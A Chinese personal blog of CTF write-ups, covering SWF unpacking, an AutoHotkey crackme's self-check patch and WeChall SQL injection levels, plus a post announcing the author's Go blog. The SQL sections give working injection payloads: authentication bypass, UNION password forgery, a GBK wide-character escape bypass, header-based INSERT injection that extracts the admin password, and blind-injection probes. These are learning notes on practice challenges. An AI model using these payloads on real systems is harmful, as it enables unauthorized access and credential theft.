GeekPwnCTF2016 qual HugMe-300

一个加了壳的swf(后来知道是doswf的壳)

先preload挂个TheMiner,然后看loader的内容,脱去第一层壳。

反编译取出的swf,发现一个坑

显示出来的hugme啥用都没有。。。需要点击的那个hugme又没被正确加载。。需要自己做修改
然后才能看见真正的按钮

接着关键的判断逻辑。

然而Verify运行时才载入。。

于是再次脱壳。。。TheMiner没hook loadBytes,所以这里只能自己来
提取出这个函数运行然后把uncompress的结果base64一下,trace打出来。
然后再用python保存成文件。(不会actionscript的文件读写只好这么搞)

然后反编译保存下来的文件,发现校验过程其实就是个方程组

method3没用。。只要符合method2里的方程组,method3一定符合。

然后就是求解方程组得到一组解[14,0,1,14,14,14,13,0,9,3,12,11,2,2,11]
对应的flag e01eeed093cb22b
然而这才15位 。。根据readme的提示,枚举最后一位。。发现e01eeed093cb22bb是hello world的md5

故flag为e01eeed093cb22bb

reversing.kr AutoHotkey2

有autohotkey自带的upx壳
upx
还有自校验。。

这题给的文件是修改过的,所以无法通过自校验
corrupt

考虑到有自校验,所以就没有先脱壳。
直接带壳调试,用堆栈平衡很快找到OEP=00442B4F
oep

然后可以看到第一个关键跳转:
check1
448265必须跳
跟进4508C7,是在计算校验值,并判断。
check_cmp1
ebp-0x10其实是文件的最后四个字节
checksu
所以文件的最后四个字节是计算出的校验值异或0xAAAAAAAA之后得到的值

程序接下来直接利用文件倒数第八到倒数第五个字节作为附加数据开始地址,读取附加数据开头,然后开始判断是否为附加数据,即判断开头是否是以下16个字节
A3 48 4B BE 98 6C 4A A9 99 4C 53 0A 86 D6 48 7D
check2
所以文件的倒数第八到倒数第五个字节是附加数据开始地址
用16进制编辑器可以找到真正的附加数据开头
offest1
然后只需要修正文件的最后8个字节即可,注意修改附加数据地址也会改变校验值,所以应该先修改附加数据地址,再修改校验值。
最后的修改如下
patch
然后程序就能正常运行了
result
百度一下即可找到答案jonsnow

参考文章

简析AutoIt程序脱壳后的自校验处理_看雪
(这篇文章里讲的是autoit的自校验,比autohotkey的稍微复杂一些(多了一次校验),但是基本方法是一样的,当时看这个文章得到不少思路)

Wechall SQLI

这些题是为了准备安恒杯校内个人赛做的,虽然后来还是没做出安恒杯的sql注入(据说只要用sqlmap扫就行?)

MySQL1

基础入门题
username完全无过滤,可以直接去掉密码验证
查询语句

SELECT * FROM users WHERE username='$username' AND password='$password'

构造:

SELECT * FROM users WHERE username='admin' or ''='' AND password='$password'

传说中的万能密码的原理 admin’ or “=’

MySQL2

依然基础题,南邮的平台上遇到过类似的。
先用用户名取出密码,然后比对密码。只要让sql语句返回一个假的密码就OK了。
查询语句:

SELECT * FROM users WHERE username='$username'

构造:

SELECT * FROM users WHERE username='admin' and 1=2 union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'

注意PHP的md5函数得到的是32位小写的md5

The Guestbook

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')

ip message都是注入点。
ip好像不太好注入。
message可以注。
构造:

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', 'aaa') #')

然而有一个mysql_real_escape_string,会自动转译。搜了一下可以通过宽字符绕过。

例子:

<?php  
    header('Content-Type: text/html; charset=GBK');  
    $input = chr(0xbf) . chr(0x27) . ' OR username = username; /*';  
    $value = addslashes($input);  
    $sql = "SELECT * FROM users WHERE username='{$value}' AND password='123123';";  
  
    echo $value;  
    echo '<br>';  
    echo $sql;  
    echo '<br>';  

chr(0xbf) 和 chr(0x27)相连接, 构成一个双字节字符(0xbf27)… 而0xbf27只是一个人为合成的双字节, 不在GBK编码表里, 也就是说不是一个合法的GBK双字节字符… 系统(mysql)会把这个双字节拆分为2个单字节解析(也就是0xbf和0x27), 而addslashes并不知道它是非法的双字节字符, 单引号的GBK编码就是chr(0x27), 单独使用使addslashes是可以识别的…

然而这个洞已经在mysql5.0.x修复了。。作罢

只能从IP注入了。。上burpsuite,加一个X-Forwarded-For

构造:

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '127.0.0.1',(select gbu_password from gbook_user where  gbu_name='admin'))#‘, '$message')

其实中间复习了一波sql语句。。但是没搞懂怎么在insert语句里用select的结果。。后来发现加一对括号足以。。。

No Escape

要刷票233333
关键语句:

UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1

构造:

UPDATE noescvotes SET `george`=`george`+100 #`=`george`+1 WHERE id=1

实际的url参数:

?vote_for=george`=`george`%2b111%23

注意url转义

Blinded by the light

目标是获取 an md5 password hash
盲注
关键语句

SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'

'union select '1'#直接可以登陆,然而它要密码。。
'or'1'='1'#正确的情况
'or'1'='2'#错误的情况
'or password=password#
发现生成的hash只有ABCDEF0123456789这些字符,就是一个32位的16进制的数
'or password=0#正确。。
弃治看题解。。
题解提到了一个sql函数substring。。
于是去补了一通sql函数

CONCAT( 字串1, 字串2, 字串3, ...)  
SUBSTR (str, pos, len) 
SUBSTR (str, pos)
TRIM()
Length (str)
REPLACE (Region_Name, 'ast', 'astern')

#是个很不靠谱的注释符号
还是用--比较好

最后的解法是二分猜解
解题代码直接看乌云的题解吧。。。

参考资料

MySQL注入技巧_乌云
wechall mysql关卡题解_乌云

Hello Blogo

这个叫blogo的静态博客生成器终于算是基本完成了,这篇文章的发布时间使用的是blogo第一个commit的时间,仔细一看确实是拖了好久啊。现在(1457181826)终于把这个坑填完了。。

一直认为博客的程序应该要自己写,断断续续写了好多。。拿dw点出来的ASP+Access的版本啊,PHP的版本啊,node的版本啊,一直到现在这个Go写的Blogo。

然而前面的那些都因为各种原因只在本地跑过,从未真正可以被外界访问。这个Blogo是第一个真正投入使用的版本。看到博客成功被push到Github上的时候很开心啊。

评论部分暂且用了多说,不排除未来用disqus的可能性。

最后是一波感谢:
生成器部分参考了天天大神的Catsup
前端参考了萝莉聚聚的ricter.me
灰常感谢


你问背景是谁?背景是我头像的女票。没错。。头像的。。我头像有女票你怕不怕(好像是个悲伤的故事)233333